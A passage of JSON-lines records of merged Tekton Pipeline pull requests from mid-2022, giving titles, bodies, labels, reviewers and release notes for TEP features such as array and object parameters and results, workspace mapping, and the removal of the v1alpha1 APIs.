Release Notes\r\n\r\n```release-note\r\nParameters are propagated in embedded specifications without mutations.\r\n```\r\n", "created_at": "2022-05-06T20:59:31Z", "deletions": 32, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2022-05-26T17:52:03Z", "pr_number": 4845, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chitrangpatel", "jerop"], "title": "TEP-0107: Implement Parameter Propagation"} +{"additions": 1038, "body": "\r\n\r\n# Changes\r\nThis commit provides the indexing into array for params for pipeline level reference and gated by\r\nalpha feature flag. Before this commit we can only refer to the whole\r\narray param, with this feature we can refer to array's element such as\r\n$(params.param-name[i]).\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nIndexing into array for pipeline params is now an alpha feature, element of array params can be accessed via $(params.param-name[i]).\r\n```\r\n", "created_at": "2022-05-11T13:50:38Z", "deletions": 1, "discovered_via": "tep_file_link", "files_changed": 10, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2022-07-13T21:21:30Z", "pr_number": 4855, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "dibyom", "lbernick", "ywluogg"], "title": "[TEP-0076] Add indexing into array for pipeline params reference"} +{"additions": 653, "body": "# Changes\r\n\r\nFollowup to #4596, needed for #4710.\r\n\r\nremote resolution, both in explicitly created `TaskRun`s and in `PipelineRun`s' `PipelineTask`s,\r\nfrom public git repositories using tektoncd/resolution.\r\n\r\nTo actually see anything happening a dev also needs to deploy [`tektoncd/resolution`](https://github.com/tektoncd/resolution) and the [`gitresolver`](https://github.com/tektoncd/resolution/tree/main/gitresolver).\r\n\r\nThis is still in alpha.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAllow taskRefs to be resolved directly from public git repos, using the tektoncd/resolution project.\r\n```\r\n", "created_at": "2022-05-11T19:42:00Z", "deletions": 114, "discovered_via": "tep_file_link", "files_changed": 17, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2022-05-13T21:18:00Z", "pr_number": 4859, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["abayer", "lbernick", "vdemeester"], "title": "Add taskRef remote resolution support"} +{"additions": 301, "body": "\r\n\r\n# Changes\r\nAccording to [TEP-0075](https://github.com/tektoncd/community/blob/main/teps/0075-object-param-and-result-types.md#variable-replacement-with-object-params):\r\nWhen providing values for strings, Task and Pipeline authors can\r\naccess individual attributes of an object param; but they cannot access\r\nthe object as whole.\r\n\r\nThis PR makes sure that the object param cannot be used as whole when providing values for strings in task **steps**.\r\n\r\nAlso modified `extractVariablesFromString` function a bit to recognize\r\n`params.foo.bar` reference that was treated as invalid previously.\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```\r\nAdded validation against using the whole object in fields of a task step.\r\nFor example, the following reference to the whole object param is not allowed.\r\nsteps:\r\n - name: my-step\r\n image: $(params.myObjectParam[*])\r\n\r\n\r\nThis is part of TEP-0075. In order to have the changes in this PR to be applied, \r\nusers have to enable the `alpha` feature flag.\r\n\r\n```\r\n\r\n", "created_at": "2022-05-11T23:48:40Z", "deletions": 28, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note-action-required"], "linked_issues": [], "merged_at": "2022-06-13T18:35:02Z", "pr_number": 4861, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "lbernick", "ywluogg"], "title": "[TEP-0075] Validate against using the whole object in task steps"} +{"additions": 33, "body": "\r\n\r\n# Changes\r\n\r\nPrior to this commit, the validation against the required and\r\nprovided keys for object type was part of the `validateObjectUsage`\r\nfunction. That makes the purpose of `validateObjectUsage` confusing.\r\n\r\nIn this commit, a new helper function is created to validate that\r\nseparately.\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n\r\n/kind misc", "created_at": "2022-05-12T21:42:14Z", "deletions": 15, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/M", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": "2022-06-07T20:17:31Z", "pr_number": 4867, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "vdemeester", "ywluogg"], "title": "[TEP-0075] Extract out the validation of object keys"} +{"additions": 344, "body": "\r\n\r\n# Changes\r\n/kind feature\r\n\r\nThe related TEP: \r\n[TEP-0104: Support Task-level resource limits](https://github.com/tektoncd/community/pull/703/files?short_path=bd66ac0#diff-bd66ac0b7cdb4930cee261f3a042ee9b7dae6c68d2514de56890037176388dab)\r\n[TEP-0104: Scope Updates to Runtime](https://github.com/tektoncd/community/pull/722)\r\n[TEP-0104: Rename \"resources\" field as \"computeResources\"](https://github.com/tektoncd/community/pull/726)\r\n\r\nThe related FR thread: \r\n[FR: Task-level (and maybe Pipeline-level) resource requests and limits](https://github.com/tektoncd/pipeline/issues/4470)\r\n\r\nThis PR will include changes as:\r\n- Add the required \"computeResources\" field for TaskRun\r\n- Add the related validations\r\n- Update the user guide for this new feature \r\n\r\nA follow-up PR will include changes to update compute resources configuration by the specified task-level resource requirements:\r\n- [ref-to-be-added]()\r\n\r\n# TODO\r\n- [x] Update this PR only with field addition and webhook validation\r\n- [x] Add alpha FF to guard changes over webhook\r\n- [x] Update related docs\r\n- [x] Confirm approval and merge on [TEP-0104](https://github.com/tektoncd/community/pull/703/files?short_path=bd66ac0#diff-bd66ac0b7cdb4930cee261f3a042ee9b7dae6c68d2514de56890037176388dab), then start merging implementations \r\n\r\nAfter the scope update & field name update:\r\n- [x] Update field validation \r\n- [x] Update the related user guidance \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n_As changes will be delivered in 2/3 PRs, the release notes will be added in [ref-to-be-added]()._\r\n\r\n", "created_at": "2022-05-16T15:49:14Z", "deletions": 7, "discovered_via": "tep_file_link", "files_changed": 13, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-06-28T00:40:38Z", "pr_number": 4877, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["austinzhao-go", "lbernick"], "title": "[TEP-0104] Support Task-level Resource Requirements for TaskRun: Part #1 Fields Addition & Validation w/ Docs Updates "} +{"additions": 126, "body": "\r\n\r\n\r\n# Changes\r\nPrior to this commit, when providing param value with task result\r\nvariable, it only allowed using the task result as whole in the format\r\nof `tasks..results.` since result can\r\nbe only of type string previously.\r\n\r\nAs we are adding support for object type result, we need to support\r\nusing the result variable of object type in the format of\r\n`tasks..results..`.\r\n\r\nIn this commit, we consider the object case in the validation webhook.\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```\r\nadd validation and parsing for object result references\r\nFor example, $(tasks.mytask.results.myObjectResult[*]) and `$(tasks.mytask.results.myObjectResult.myKey)` \r\nare valid references to whole object result and a specific key of an object result.\r\n```\r\n\r\n", "created_at": "2022-05-16T17:48:00Z", "deletions": 16, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-06-13T21:28:02Z", "pr_number": 4878, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "lbernick", "pritidesai", "ywluogg"], "title": "[TEP-0075] Validate task result variable of object type"} +{"additions": 1313, "body": "\r\n\r\n# Changes\r\n\r\nImplements Option 1 of [TEP-0011](https://github.com/tektoncd/community/blob/master/teps/0011-redirecting-step-output-streams.md)\r\n\r\nResurrects [#3103](https://github.com/tektoncd/pipeline/pull/3103)\r\n\r\nCloses [#2925](https://github.com/tektoncd/pipeline/issues/2925)\r\n\r\nSigned-off-by: Brad Beck \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nUsers can specify `stdoutConfig` and `stderrConfig` in steps to capture steps' stdout and stderr to local files. This feature can be used to capture stdout and stderr into task results.\r\n```", "created_at": "2022-05-17T15:11:43Z", "deletions": 17, "discovered_via": "tep_file_link", "files_changed": 24, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2022-07-15T12:49:49Z", "pr_number": 4882, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "bradbeck", "pritidesai", "vdemeester"], "title": "TEP-0011: Add StdoutConfig and StderrConfig to steps."} +{"additions": 194, "body": "\r\n\r\n# Changes\r\nAdd validation that checks if object param value from `PipelineRunSpec`\r\nmisses some keys required for that object param declared in `PipelineSpec`.\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nMake sure keys of an object param declared in PipelineSpec are all provided with a value when the PipelineRunSpec provides values for the object param. In other words, the value provider - PipelineRunSpec can't miss keys. i.e. the following example will be invalid since the key `commit` is missed.\r\n\r\nExample:\r\n-----------\r\napiVersion: tekton.dev/v1beta1\r\nkind: PipelineRun\r\nmetadata:\r\n generateName: test-case\r\nspec:\r\n params:\r\n - name: myObject\r\n value:\r\n url: \"abc.com\"\r\n pipelineSpec:\r\n params:\r\n - name: myObject\r\n properties:\r\n url: {}\r\n commit: {}\r\n\r\n```\r\n\r\n", "created_at": "2022-05-18T05:45:55Z", "deletions": 16, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["approved", "lgtm", "size/L", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2022-06-24T15:09:17Z", "pr_number": 4883, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "dibyom", "lbernick", "vdemeester", "ywluogg"], "title": "[TEP-0075] Validate object keys, PipelineRunSpec -> PipelineSpec"} +{"additions": 349, "body": "\r\n\r\n# Changes\r\n\r\n\r\nAccording to [TEP-0108](https://github.com/tektoncd/community/blob/main/teps/0108-mapping-workspaces.md), auto-map Workspaces from Pipelines to PipelineTasks when the names of the Workspaces declared in the Pipeline and PipelineTask are the same to reduce verbosity and improve usability of Pipelines.\r\n\r\nThis PR makes sure to map workspace from PipelineTask if the name of the workspace match with the name of the workspace of the Pipeline. \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [X] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [X] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [X] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [X] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [X] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n```release-note\r\nUsers can specify the Workspace to use for PipelineTask in the name label to reduce verbosity when the names of the Workspaces declared in the Pipeline and PipelineTask are the same. Users can continue to explicitly map Workspaces.\r\n```\r\n\r\n\r\n\r\n", "created_at": "2022-05-18T16:10:17Z", "deletions": 26, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-05-26T19:13:03Z", "pr_number": 4887, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Aleromerog", "dibyom", "jerop", "lbernick"], "title": "TEP-0108: Mapping Workspaces"} +{"additions": 375, "body": "\r\n\r\n# Changes\r\nBesides task steps, parameter variables can be used as the value of\r\nanother param, matrix or when expression.\r\n\r\n- Allowed referencing the whole object value but added validation to make sure it can only be used when providing values\r\nfor other object param. example:\r\n```\r\n \tparams:\r\n \t- name: arg\r\n value: $(params.myObject[*])\r\n```\r\n- In all other cases (string/array val, matrix and when expression), only individual object attributes can be referenced i.e. `$(params.myobject.key1)`.\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n\r\n", "created_at": "2022-05-24T00:52:09Z", "deletions": 23, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["approved", "lgtm", "size/L", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2022-07-12T04:13:19Z", "pr_number": 4902, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "dibyom", "lbernick", "ywluogg"], "title": "TEP-0075: Validate Pipeline object variables in value, matrix and when"} +{"additions": 286, "body": "\r\n\r\n# Changes\r\nImplement variable replacement for object's individual attributes\r\non task&taskrun level.\r\n\r\n[According to TEP-0075, when providing values for strings, Task and\r\nPipeline authors can access individual attributes of an object param;\r\nthey cannot access the object as whole.]\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [ ] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n- Added implementation for object variables replacement on task/taskrun level where only individual object keys can be referenced in the format of `$(params..)`\r\n- Users need to enabled alpha feature flag to have this pr's change applied.\r\n```", "created_at": "2022-05-24T05:54:13Z", "deletions": 8, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-07-04T22:25:04Z", "pr_number": 4904, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["chuangw6", "lbernick", "ywluogg"], "title": "TEP-0075: Implement object var replacement on task&taskrun level"} +{"additions": 0, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nTekton Pipelines resources are verbose mostly because of explicitly propagating Parameters. Implicit Parameters feature was added to reduce the verbosity. However, there are challenges caused by mutating specifications to support Implicit Parameters. This PR deprecates existing implementation of implicit parameters. A followup [PR](https://github.com/tektoncd/pipeline/pull/4845) will address improvements to this and allow propagating parameters that the task requires. This PR addresses part of [TEP-0107](https://github.com/tektoncd/community/blob/main/teps/0107-propagating-parameters.md) that includes removing existing implicit parameters.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [n/a] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [n/a] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nImplicit Parameters is deprecated and removed. A replacement feature will be included in the same release.\r\n```", "created_at": "2022-05-24T19:08:41Z", "deletions": 1082, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [], "merged_at": "2022-05-25T14:19:03Z", "pr_number": 4906, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["jerop"], "title": "TEP-0107: Deprecated implicit parameters"} +{"additions": 229, "body": "\r\n\r\n# Changes\r\nThis is part of work in [TEP-0076.](https://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md)\r\nThis commit provides the support to apply array results replacements.\r\nPrevious this commit we support emitting array results so users can\r\nwrite array results to task level, but we cannot pass array results from\r\ntasks within one pipeline. This commit adds the support for this.\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nSupport array results substitution as an alpha feature.\r\n\r\nA task can specify a type to produce array result, such as:\r\n\r\n results:\r\n - name: array-results\r\n type: array\r\n description: The array results\r\n\r\nAnd the task script can populate result in an array form with:\r\n\r\necho -n \"[\\\"hello\\\",\\\"world\\\"]\" | tee $(results.array-results.path)\r\n\r\nand we can refer to the array results in param like:\r\n params:\r\n - name: foo\r\n value: \"$(tasks.task1.results.array-results[*])\"\r\n\r\nThis feature is part of the TEP-0076. \r\n```\r\n\r\n", "created_at": "2022-05-25T18:25:04Z", "deletions": 10, "discovered_via": "tep_file_link", "files_changed": 13, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-07-06T21:05:05Z", "pr_number": 4908, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "dibyom", "ywluogg"], "title": "[TEP-0076]Support Array Results substitution"} +{"additions": 328, "body": "\r\n\r\n# Changes\r\n\r\nThis is part of work in TEP-0076.\r\nThis commit provides the support to refer array indexing results.\r\nPrevious this commit we support emitting array results so users can\r\nwrite array results to task level, but we cannot pass array results via\r\nindex between tasks within one pipeline. This commit adds the support for this.\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nSupport indexing array results substitution as an alpha feature.\r\n\r\nA task can specify a type to produce array result, such as:\r\n\r\n results:\r\n - name: array-results\r\n type: array\r\n description: The array results\r\n\r\nAnd the task script can populate result in an array form with:\r\n\r\necho -n \"[\\\"hello\\\",\\\"world\\\"]\" | tee $(results.array-results.path)\r\n\r\nand we can refer to the array results elements via index in param like:\r\n params:\r\n - name: foo\r\n value: \"$(tasks.task1.results.array-results[1])\"\r\n\r\nThis feature is part of the TEP-0076. \r\n```\r\n\r\n", "created_at": "2022-05-26T00:46:13Z", "deletions": 13, "discovered_via": "tep_file_link", "files_changed": 9, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-06-08T16:19:57Z", "pr_number": 4911, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "lbernick", "pritidesai", "vdemeester", "ywluogg"], "title": "[TEP-0076]Support Results Array Indexing"} +{"additions": 381, "body": "\r\n\r\n# Changes\r\nThis is part of work in TEP-0076.\r\nThis commit provides the validation of results in reconciler after we\r\nget the emitted results. It covers the validation of mismatched types\r\nbetween the results emitted and specified, the results object\r\nproperties.\r\nPrevious this commit these validations are missing and errors are\r\nignored.\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nAdd Properties for TaskResult so user can define what keys are needed for object type TaskResult and leverage this Properties for validation.\r\n```\r\n\r\n", "created_at": "2022-05-31T13:20:25Z", "deletions": 7, "discovered_via": "tep_file_link", "files_changed": 7, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-07-04T17:47:04Z", "pr_number": 4920, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "lbernick", "ywluogg"], "title": "[TEP-0076]Validate Results type and object properties "} +{"additions": 273, "body": "\r\n\r\n# Changes\r\nThis is part of work in [TEP-0076.](https://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md)\r\nThis commit update the PipelineResult and PipelineRunResult to uspport\r\narray results, meanwhile support the whole array and array indexing\r\nreference from PipelineResult to TaskResult. Before this commit the\r\npipeline level result only support string.\r\n\r\n/kind feature\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n```release-note\r\nSupport array results and indexing array for pipeline level as an alpha feature.\r\n\r\nA pipeline can specify a type to create array result, such as:\r\n\r\n results:\r\n - name: echo-indexing-array-results\r\n type: string\r\n description: array element\r\n value: $(tasks.task1.results.array-results[1])\r\n - name: echo-array-results\r\n type: array\r\n description: whole array\r\n value: $(tasks.task2.results.array-results[*])\r\n\r\nAnd the task script can populate result in an array form with:\r\n\r\necho -n \"[\\\"hello\\\",\\\"world\\\"]\" | tee $(results.array-results.path)\r\n\r\nThe pipeline results can refer to task results to collect them.\r\nThis feature is part of the TEP-0076. \r\n```\r\n\r\n", "created_at": "2022-06-10T15:19:24Z", "deletions": 84, "discovered_via": "tep_file_link", "files_changed": 15, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2022-07-04T19:09:04Z", "pr_number": 4965, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "lbernick", "ywluogg"], "title": "[TEP-0076]Pipeline results support array"} +{"additions": 174, "body": "# Changes\r\n\r\nCloses #4982\r\n\r\nThis removes the long deprecated pipeline v1alpha1 APIs for everything that's replicated in v1beta1.\r\n\r\n/kind cleanup\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [x] [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including\r\n functionality, content, code)\r\n- [x] Release notes block below has been filled in\r\n(if there are no user facing changes, use release note \"NONE\")\r\n\r\n# Release Notes\r\n\r\n```release-note\r\naction required: `v1alpha1` `Pipeline`, `PipelineRun`, `Task`, `TaskRun` removed. Please switch to `v1beta1` for those types.\r\n```\r\n", "created_at": "2022-06-20T14:46:45Z", "deletions": 23789, "discovered_via": "tep_file_link", "files_changed": 212, "labels": ["approved", "lgtm", "size/XXL", "release-note-action-required", "kind/cleanup"], "linked_issues": [4982], "merged_at": "2022-06-30T18:44:51Z", "pr_number": 5005, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["abayer", "afrittoli", "lbernick", "vdemeester", "wlynch"], "title": "Remove v1alpha1 Pipeline, PipelineRun, Task, TaskRun, and ClusterTask"} +{"additions": 574, "body": 